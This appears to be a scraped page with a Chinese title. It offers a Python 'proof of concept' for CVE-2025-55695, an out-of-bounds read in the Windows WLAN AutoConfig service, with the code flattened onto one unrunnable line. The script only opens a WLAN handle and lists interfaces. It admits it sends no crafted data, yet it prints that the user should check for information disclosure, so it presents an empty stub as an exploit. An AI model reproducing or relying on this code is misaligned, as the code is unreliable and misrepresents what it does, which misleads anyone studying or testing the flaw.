CVE-2025-55695 Windows WLAN自动配置服务越界读取漏洞

# CVE-2025-55695 PoC - Windows WLAN Auto Config Service OOB Read # This is a conceptual PoC demonstrating the exploitation approach. # Actual exploitation requires local access to the target system. import ctypes import struct import sys # Windows API constants and structures WLAN_API_DLL = "wlanapi.dll" WLAN_SERVICE_AUTO_CONFIG = "WlanSvc" def trigger_oob_read(): """ Conceptual PoC for triggering OOB read in WlanSvc. The vulnerability exists when WlanSvc processes malformed WLAN configuration data or SSID/profile entries with abnormal length fields. """ print("[*] CVE-2025-55695 - Windows WLAN Auto Config OOB Read PoC") print("[*] Target Service: WlanSvc (WLAN Auto Config)") print("[*] Vulnerability Type: Out-of-Bounds Read (Information Disclosure)") print("[*] Required Privilege: Low (PR:L)") print("[*] Attack Vector: Local (AV:L)") try: # Load WLAN API library wlanapi = ctypes.WinDLL(WLAN_API_DLL) # Define WLAN API function prototypes # WlanOpenHandle / WlanEnumInterfaces / WlanQueryInterface # The OOB read can be triggered by crafting abnormal input # parameters to WLAN API functions that are processed by WlanSvc. # Example: WlanQueryInterface with malformed query data # can trigger the OOB read condition in the service. client_handle = ctypes.c_void_p() negotiated_version = ctypes.c_ulong() # Open WLAN client handle ret = wlanapi.WlanOpenHandle( 2, # Client version (XP SP2 / Vista+) None, ctypes.byref(negotiated_version), ctypes.byref(client_handle) ) if ret != 0: print(f"[-] WlanOpenHandle failed with error: {ret}") print("[*] Note: This PoC requires local system access and WLAN capability.") return False print(f"[+] WLAN client handle obtained: {client_handle.value}") # Enumerate WLAN interfaces interface_list = ctypes.c_void_p() ret = wlanapi.WlanEnumInterfaces( client_handle, None, ctypes.byref(interface_list) ) if ret == 0: print("[+] WLAN interfaces enumerated successfully") print("[*] In a real exploit, crafted SSID/profile data would be") print("[*] sent to WlanSvc to trigger the out-of-bounds read.") # Free interface list wlanapi.WlanFreeMemory(interface_list) # Close WLAN handle wlanapi.WlanCloseHandle(client_handle, None) print("[*] PoC execution completed. Check for information disclosure.") return True except OSError as e: print(f"[-] Error loading WLAN API: {e}") print("[*] This PoC requires a Windows system with WLAN capability.") return False except Exception as e: print(f"[-] Unexpected error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-55695 - PoC for WlanSvc OOB Read") print("CVSS 3.1: 5.5 (MEDIUM)") print("Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N") print("=" * 60) trigger_oob_read()